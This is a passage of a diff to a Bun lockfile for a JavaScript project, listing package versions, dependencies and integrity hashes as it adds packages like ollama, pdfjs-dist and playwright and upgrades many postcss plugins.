"node-releases": ["node-releases@2.0.27", "", {}, "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA=="], "node-stdlib-browser": ["node-stdlib-browser@1.3.1", "", { "dependencies": { "assert": "^2.0.0", "browser-resolve": "^2.0.0", "browserify-zlib": "^0.2.0", "buffer": "^5.7.1", "console-browserify": "^1.1.0", "constants-browserify": "^1.0.0", "create-require": "^1.1.1", "crypto-browserify": "^3.12.1", "domain-browser": "4.22.0", "events": "^3.0.0", "https-browserify": "^1.0.0", "isomorphic-timers-promises": "^1.0.1", "os-browserify": "^0.3.0", "path-browserify": "^1.0.1", "pkg-dir": "^5.0.0", "process": "^0.11.10", "punycode": "^1.4.1", "querystring-es3": "^0.2.1", "readable-stream": "^3.6.0", "stream-browserify": "^3.0.0", "stream-http": "^3.2.0", "string_decoder": "^1.0.0", "timers-browserify": "^2.0.4", "tty-browserify": "0.0.1", "url": "^0.11.4", "util": "^0.12.4", "vm-browserify": "^1.0.1" } }, "sha512-X75ZN8DCLftGM5iKwoYLA3rjnrAEs97MkzvSd4q2746Tgpg8b8XWiBGiBG4ZpgcAqBgtgPHTiAc8ZMCvZuikDw=="], @@ -3651,6 +3907,8 @@ "object.values": ["object.values@1.2.1", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA=="], + "okapibm25": ["okapibm25@1.4.1", "", {}, "sha512-UHmeH4MAtZXGFVncwbY7pfFvDVNxpsyM3W66aGPU0SHj1+ld59ty+9lJ0ifcrcnPUl1XdYoDgb06ObyCnpTs3g=="], + "ollama": ["ollama@0.5.18", "", { "dependencies": { "whatwg-fetch": "^3.6.20" } }, "sha512-lTFqTf9bo7Cd3hpF6CviBe/DEhewjoZYd9N/uCe7O20qYTvGqrNOFOBDj3lbZgFWHUgDv5EeyusYxsZSLS8nvg=="], "on-finished": ["on-finished@2.4.1", "", { "dependencies": { "ee-first": "1.1.1" } }, "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg=="], @@ -3671,6 +3929,8 @@ "openid-client": ["openid-client@6.5.0", "", { "dependencies": { "jose": "^6.0.10", "oauth4webapi": "^3.5.1" } }, "sha512-fAfYaTnOYE2kQCqEJGX9KDObW2aw7IQy4jWpU/+3D3WoCFLbix5Hg6qIPQ6Js9r7f8jDUmsnnguRNCSw4wU/IQ=="], + "option": ["option@0.2.4", "", {}, "sha512-pkEqbDyl8ou5cpq+VsnQbe/WlEy5qS7xPzMS1U55OCG9KPvwFD46zDbxQIj3egJSFc3D+XhYOPUzz49zQAVy7A=="], + "optionator": ["optionator@0.9.3", "", { "dependencies": { "@aashutoshrathi/word-wrap": "^1.2.3", "deep-is": "^0.1.3", "fast-levenshtein": "^2.0.6", "levn": "^0.4.1", "prelude-ls": "^1.2.1", "type-check": "^0.4.0" } }, "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg=="], "os-browserify": ["os-browserify@0.3.0", "", {}, "sha512-gjcpUc3clBf9+210TRaDWbf+rZZZEshZ+DlXMRCeAjp0xhTrnQsKHypIy1J3d5hKdUzj69t708EHtU8P6bUn0A=="], @@ -3695,6 +3955,8 @@ "package-json-from-dist": ["package-json-from-dist@1.0.1", "", {}, "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw=="], + "package-manager-detector": ["package-manager-detector@1.6.0", "", {}, "sha512-61A5ThoTiDG/C8s8UMZwSorAGwMJ0ERVGj2OjoW5pAalsNOg15+iQiPzrLJ4jhZ1HJzmC2PIHT2oEiH3R5fzNA=="], + "pako": ["pako@1.0.11", "", {}, "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw=="], "parent-module": ["parent-module@1.0.1", "", { "dependencies": { "callsites": "^3.0.0" } }, "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g=="], @@ -3737,6 +3999,8 @@ "path-browserify": ["path-browserify@1.0.1", "", {}, "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g=="], + "path-data-parser": ["path-data-parser@0.1.0", "", {}, "sha512-NOnmBpt5Y2RWbuv0LMzsayp3lVylAHLPUTut412ZA3l+C4uw4ZVkQbjShYCQ8TCpUMdPapr4YjUqLYD6v68j+w=="], + "path-exists": ["path-exists@4.0.0", "", {}, "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w=="], "path-is-absolute": ["path-is-absolute@1.0.1", "", {}, "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg=="], @@ -3745,16 +4009,18 @@ "path-parse": ["path-parse@1.0.7", "", {}, "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="], - "path-scurry": ["path-scurry@2.0.1", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA=="], + "path-scurry": ["path-scurry@2.0.2", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg=="], "path-to-regexp": ["path-to-regexp@8.2.0", "", {}, "sha512-TdrF7fW9Rphjq4RjrW0Kp2AW0Ahwu9sRGTkS6bvDi0SCwZlEZYmcfDbEsTz8RVk0EHIS/Vd1bv3JhG+1xZuAyQ=="], - "path-type": ["path-type@4.0.0", "", {}, "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw=="], + "pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="], "pause": ["pause@0.0.1", "", {}, "sha512-KG8UEiEVkR3wGEb4m5yZkVCzigAD+cVEJck2CzYZO37ZGJfctvVptVO192MwrtPhzONn6go8ylnOdMhKqi4nfg=="], "pbkdf2": ["pbkdf2@3.1.3", "", { "dependencies": { "create-hash": "~1.1.3", "create-hmac": "^1.1.7", "ripemd160": "=2.0.1", "safe-buffer": "^5.2.1", "sha.js": "^2.4.11", "to-buffer": "^1.2.0" } }, "sha512-wfRLBZ0feWRhCIkoMB6ete7czJcnNnqRpcoWQBLqatqXXmelSRqfdDK4F3u9T2s2cXas/hQJcryI/4lAL+XTlA=="], + "pdfjs-dist": ["pdfjs-dist@5.5.207", "", { "optionalDependencies": { "@napi-rs/canvas": "^0.1.95", "node-readable-to-web-readable-stream": "^0.4.2" } }, "sha512-WMqqw06w1vUt9ZfT0gOFhMf3wHsWhaCrxGrckGs5Cci6ybDW87IvPaOd2pnBwT6BJuP/CzXDZxjFgmSULLdsdw=="], + "peek-readable": ["peek-readable@5.0.0", "", {}, "sha512-YtCKvLUOvwtMGmrniQPdO7MwPjgkFBtFIrmfSbYmYuq3tKDV/mcfAhBth1+C3ru7uXIZasc/pHnb+YDYNkkj4A=="], "pend": ["pend@1.2.0", "", {}, "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg=="], @@ -3773,37 +4039,43 @@ "pkg-dir": ["pkg-dir@4.2.0", "", { "dependencies": { "find-up": "^4.0.0" } }, "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ=="], + "pkg-types": ["pkg-types@1.3.1", "", { "dependencies": { "confbox": "^0.1.8", "mlly": "^1.7.4", "pathe": "^2.0.1" } }, "sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ=="], + "playwright": ["playwright@1.56.1", "", { "dependencies": { "playwright-core": "1.56.1" }, "optionalDependencies": { "fsevents": "2.3.2" }, "bin": "cli.js" }, "sha512-aFi5B0WovBHTEvpM3DzXTUaeN6eN0qWnTkKx4NQaH4Wvcmc153PdaY2UBdSYKaGYw+UyWXSVyxDUg5DoPEttjw=="], "playwright-core": ["playwright-core@1.56.1", "", { "bin": "cli.js" }, "sha512-hutraynyn31F+Bifme+Ps9Vq59hKuUCz7H1kDOcBs+2oGguKkWTU50bBWrtz34OUWmIwpBTWDxaRPXrIXkgvmQ=="], + "points-on-curve": ["points-on-curve@0.2.0", "", {}, "sha512-0mYKnYYe9ZcqMCWhUjItv/oHjvgEsfKvnUTg8sAtnHr3GVy7rGkXCb6d5cSyqrWqL4k81b9CPg3urd+T7aop3A=="], + + "points-on-path": ["points-on-path@0.2.1", "", { "dependencies": { "path-data-parser": "0.1.0", "points-on-curve": "0.2.0" } }, "sha512-25ClnWWuw7JbWZcgqY/gJ4FQWadKxGWk+3kR/7kD0tCaDtPPMj7oHu2ToLaVhfpnHrZzYby2w6tUA0eOIuUg8g=="], + "possible-typed-array-names": ["possible-typed-array-names@1.0.0", "", {}, "sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q=="], "postcss": ["postcss@8.5.3", "", { "dependencies": { "nanoid": "^3.3.8", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-dle9A3yYxlBSrt8Fu+IpjGT8SY8hN0mlaA6GY8t0P5PjIOZemULz/E2Bnm/2dcUOena75OTNkHI76uZBNUUq3A=="], - "postcss-attribute-case-insensitive": ["postcss-attribute-case-insensitive@6.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-IRuCwwAAQbgaLhxQdQcIIK0dCVXg3XDUnzgKD8iwdiYdwU4rMWRWyl/W9/0nA4ihVpq5pyALiHB2veBJ0292pw=="], + "postcss-attribute-case-insensitive": ["postcss-attribute-case-insensitive@8.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-fovIPEV35c2JzVXdmP+sp2xirbBMt54J+upU8u6TSj410kUU5+axgEzvBBSAX8KCybze8CFCelzFAw/FfWg2TA=="], "postcss-calc": ["postcss-calc@8.2.4", "", { "dependencies": { "postcss-selector-parser": "^6.0.9", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.2" } }, "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q=="], "postcss-clamp": ["postcss-clamp@4.1.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4.6" } }, "sha512-ry4b1Llo/9zz+PKC+030KUnPITTJAHeOwjfAyyB60eT0AorGLdzp52s31OsPRHRf8NchkgFoG2y6fCfn1IV1Ow=="], - "postcss-color-functional-notation": ["postcss-color-functional-notation@5.1.0", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^2.3.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-w2R4py6zrVE1U7FwNaAc76tNQlG9GLkrBbcFw+VhUjyDDiV28vfZG+l4LyPmpoQpeSJVtu8VgNjE8Jv5SpC7dQ=="], + "postcss-color-functional-notation": ["postcss-color-functional-notation@8.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-tbmkk6teYpJzFcGwPIhN1gkvxqGHvNx2PMb8Y3S5Ktyn7xOlvD98XzQ99MFY5mAyvXWclDG+BgoJKYJXFJOp5Q=="], - "postcss-color-hex-alpha": ["postcss-color-hex-alpha@9.0.3", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-7sEHU4tAS6htlxun8AB9LDrCXoljxaC34tFVRlYKcvO+18r5fvGiXgv5bQzN40+4gXLCyWSMRK5FK31244WcCA=="], + "postcss-color-hex-alpha": ["postcss-color-hex-alpha@11.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-NCGa6vjIyrjosz9GqRxVKbONBklz5TeipYqTJp3IqbnBWlBq5e5EMtG6MaX4vqk9LzocPfMQkuRK9tfk+OQuKg=="], - "postcss-color-rebeccapurple": ["postcss-color-rebeccapurple@8.0.2", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-xWf/JmAxVoB5bltHpXk+uGRoGFwu4WDAR7210el+iyvTdqiKpDhtcT8N3edXMoVJY0WHFMrKMUieql/wRNiXkw=="], + "postcss-color-rebeccapurple": ["postcss-color-rebeccapurple@11.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-g9561mx7cbdqx7XeO/L+lJzVlzu7bICyXr72efBVKZGxIhvBBJf9fGXn3Cb6U4Bwh3LbzQO2e9NWBLVYdX5Eag=="], "postcss-colormin": ["postcss-colormin@5.3.1", "", { "dependencies": { "browserslist": "^4.21.4", "caniuse-api": "^3.0.0", "colord": "^2.9.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ=="], "postcss-convert-values": ["postcss-convert-values@5.1.3", "", { "dependencies": { "browserslist": "^4.21.4", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA=="], - "postcss-custom-media": ["postcss-custom-media@9.1.5", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^1.0.2", "@csstools/css-parser-algorithms": "^2.2.0", "@csstools/css-tokenizer": "^2.1.1", "@csstools/media-query-list-parser": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-GStyWMz7Qbo/Gtw1xVspzVSX8eipgNg4lpsO3CAeY4/A1mzok+RV6MCv3fg62trWijh/lYEj6vps4o8JcBBpDA=="], + "postcss-custom-media": ["postcss-custom-media@12.0.1", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^3.0.0", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/media-query-list-parser": "^5.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-66syE14+VeqkUf0rRX0bvbTCbNRJF132jD+ceo8th1dap2YJEAqpdh5uG98CE3IbgHT7m9XM0GIlOazNWqQdeA=="], - "postcss-custom-properties": ["postcss-custom-properties@13.3.4", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^1.0.7", "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-9YN0gg9sG3OH+Z9xBrp2PWRb+O4msw+5Sbp3ZgqrblrwKspXVQe5zr5sVqi43gJGwW/Rv1A483PRQUzQOEewvA=="], + "postcss-custom-properties": ["postcss-custom-properties@15.0.1", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^3.0.0", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-cuyq8sd8dLY0GLbelz1KB8IMIoDECo6RVXMeHeXY2Uw3Q05k/d1GVITdaKLsheqrHbnxlwxzSRZQQ5u+rNtbMg=="], - "postcss-custom-selectors": ["postcss-custom-selectors@7.1.6", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^1.0.5", "@csstools/css-parser-algorithms": "^2.3.2", "@csstools/css-tokenizer": "^2.2.1", "postcss-selector-parser": "^6.0.13" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-svsjWRaxqL3vAzv71dV0/65P24/FB8TbPX+lWyyf9SZ7aZm4S4NhCn7N3Bg+Z5sZunG3FS8xQ80LrCU9hb37cw=="], + "postcss-custom-selectors": ["postcss-custom-selectors@9.0.1", "", { "dependencies": { "@csstools/cascade-layer-name-parser": "^3.0.0", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-2XBELy4DmdVKimChfaZ2id9u9CSGYQhiJ53SvlfBvMTzLMW2VxuMb9rHsMSQw9kRq/zSbhT5x13EaK8JSmK8KQ=="], - "postcss-dir-pseudo-class": ["postcss-dir-pseudo-class@7.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-cMnslilYxBf9k3qejnovrUONZx1rXeUZJw06fgIUBzABJe3D2LiLL5WAER7Imt3nrkaIgG05XZBztueLEf5P8w=="], + "postcss-dir-pseudo-class": ["postcss-dir-pseudo-class@10.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-DmtIzULpyC8XaH4b5AaUgt4Jic4QmrECqidNCdR7u7naQFdnxX80YI06u238a+ZVRXwURDxVzy0s/UQnWmpVeg=="], "postcss-discard-comments": ["postcss-discard-comments@5.1.2", "", { "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ=="], @@ -3813,31 +4085,27 @@ "postcss-discard-overridden": ["postcss-discard-overridden@5.1.0", "", { "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw=="], - "postcss-double-position-gradients": ["postcss-double-position-gradients@4.0.4", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^2.3.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-nUAbUXURemLXIrl4Xoia2tiu5z/n8sY+BVDZApoeT9BlpByyrp02P/lFCRrRvZ/zrGRE+MOGLhk8o7VcMCtPtQ=="], + "postcss-double-position-gradients": ["postcss-double-position-gradients@7.0.0", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Msr/dxj8Os7KLJE5Hdhvprwm3K5Zrh1KTY0eFN3ngPKNkej/Usy4BM9JQmqE6CLAkDpHoQVsi4snbL72CPt6qg=="], - "postcss-focus-visible": ["postcss-focus-visible@8.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-f/Vd+EC/GaKElknU59esVcRYr/Y3t1ZAQyL4u2xSOgkDy4bMCmG7VP5cGvj3+BTLNE9ETfEuz2nnt4qkZwTTeA=="], + "postcss-focus-visible": ["postcss-focus-visible@11.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-VG1a9kBKizUBWS66t5xyB4uLONBnvZLCmZXxT40FALu8EF0QgVZBYy5ApC0KhmpHsv+pvHMJHB3agKHwmocWjw=="], - "postcss-focus-within": ["postcss-focus-within@7.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-AHAJ89UQBcqBvFgQJE9XasGuwMNkKsGj4D/f9Uk60jFmEBHpAL14DrnSk3Rj+SwZTr/WUG+mh+Rvf8fid/346w=="], + "postcss-focus-within": ["postcss-focus-within@10.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-dvql0fzUTG+gcJYp+KTbag5vAjuo94LDYZHkqDV1rnf5gPGer1v/SrmIZBdvKU8moep3HbcbujqGjzSb3DL53Q=="], "postcss-font-variant": ["postcss-font-variant@5.0.0", "", { "peerDependencies": { "postcss": "^8.1.0" } }, "sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA=="], - "postcss-gap-properties": ["postcss-gap-properties@4.0.1", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-V5OuQGw4lBumPlwHWk/PRfMKjaq/LTGR4WDTemIMCaMevArVfCCA9wBJiL1VjDAd+rzuCIlkRoRvDsSiAaZ4Fg=="], + "postcss-gap-properties": ["postcss-gap-properties@7.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-PSDF2QoZMRUbsINvXObQgxx4HExRP85QTT8qS/YN9fBsCPWCqUuwqAD6E6PNp0BqL/jU1eyWUBORaOK/J/9LDA=="], - "postcss-image-set-function": ["postcss-image-set-function@5.0.2", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Sszjwo0ubETX0Fi5MvpYzsONwrsjeabjMoc5YqHvURFItXgIu3HdCjcVuVKGMPGzKRhgaknmdM5uVWInWPJmeg=="], + "postcss-image-set-function": ["postcss-image-set-function@8.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-rEGNkOkNusf4+IuMmfEoIdLuVmvbExGbmG+MIsyV6jR5UaWSoyPcAYHV/PxzVDCmudyF+2Nh/o6Ub2saqUdnuA=="], "postcss-import": ["postcss-import@15.1.0", "", { "dependencies": { "postcss-value-parser": "^4.0.0", "read-cache": "^1.0.0", "resolve": "^1.1.7" }, "peerDependencies": { "postcss": "^8.0.0" } }, "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew=="], - "postcss-initial": ["postcss-initial@4.0.1", "", { "peerDependencies": { "postcss": "^8.0.0" } }, "sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ=="], - "postcss-js": ["postcss-js@4.0.1", "", { "dependencies": { "camelcase-css": "^2.0.1" }, "peerDependencies": { "postcss": "^8.4.21" } }, "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw=="], - "postcss-lab-function": ["postcss-lab-function@5.2.3", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-fi32AYKzji5/rvgxo5zXHFvAYBw0u0OzELbeCNjEZVLUir18Oj+9RmNphtM8QdLUaUnrfx8zy8vVYLmFLkdmrQ=="], + "postcss-lab-function": ["postcss-lab-function@8.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-1ZIAh8ODhZdnAb09Aq2BTenePKS1G/kUR0FwvzkQDfFtSOV64Ycv27YvV11fDycEvhIcEmgYkLABXKRiWcXRuA=="], "postcss-load-config": ["postcss-load-config@3.1.4", "", { "dependencies": { "lilconfig": "^2.0.5", "yaml": "^1.10.2" }, "peerDependencies": { "postcss": ">=8.0.9", "ts-node": ">=9.0.0" } }, "sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg=="], - "postcss-loader": ["postcss-loader@7.3.4", "", { "dependencies": { "cosmiconfig": "^8.3.5", "jiti": "^1.20.0", "semver": "^7.5.4" }, "peerDependencies": { "postcss": "^7.0.0 || ^8.0.1", "webpack": "^5.0.0" } }, "sha512-iW5WTTBSC5BfsBJ9daFMPVrLT36MrNiC6fqOZTTaHjBNX6Pfd5p+hSBqe/fEeNd7pc13QiAyGt7VdGMw4eRC4A=="], - - "postcss-logical": ["postcss-logical@6.2.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-aqlfKGaY0nnbgI9jwUikp4gJKBqcH5noU/EdnIVceghaaDPYhZuyJVxlvWNy55tlTG5tunRKCTAX9yljLiFgmw=="], + "postcss-logical": ["postcss-logical@9.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-A4LNd9dk3q/juEUA9Gd8ALhBO3TeOeYurnyHLlf2aAToD94VHR8c5Uv7KNmf8YVRhTxvWsyug4c5fKtARzyIRQ=="], "postcss-merge-longhand": ["postcss-merge-longhand@5.1.7", "", { "dependencies": { "postcss-value-parser": "^4.2.0", "stylehacks": "^5.1.1" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ=="], @@ -3863,7 +4131,7 @@ "postcss-nested": ["postcss-nested@6.0.1", "", { "dependencies": { "postcss-selector-parser": "^6.0.11" }, "peerDependencies": { "postcss": "^8.2.14" } }, "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ=="], - "postcss-nesting": ["postcss-nesting@11.3.0", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.0", "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-JlS10AQm/RzyrUGgl5irVkAlZYTJ99mNueUl+Qab+TcHhVedLiylWVkKBhRale+rS9yWIJK48JVzQlq3LcSdeA=="], + "postcss-nesting": ["postcss-nesting@14.0.0", "", { "dependencies": { "@csstools/selector-resolve-nested": "^4.0.0", "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-YGFOfVrjxYfeGTS5XctP1WCI5hu8Lr9SmntjfRC+iX5hCihEO+QZl9Ra+pkjqkgoVdDKvb2JccpElcowhZtzpw=="], "postcss-normalize-charset": ["postcss-normalize-charset@5.1.0", "", { "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg=="], @@ -3883,19 +4151,19 @@ "postcss-normalize-whitespace": ["postcss-normalize-whitespace@5.1.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA=="], - "postcss-opacity-percentage": ["postcss-opacity-percentage@2.0.0", "", { "peerDependencies": { "postcss": "^8.2" } }, 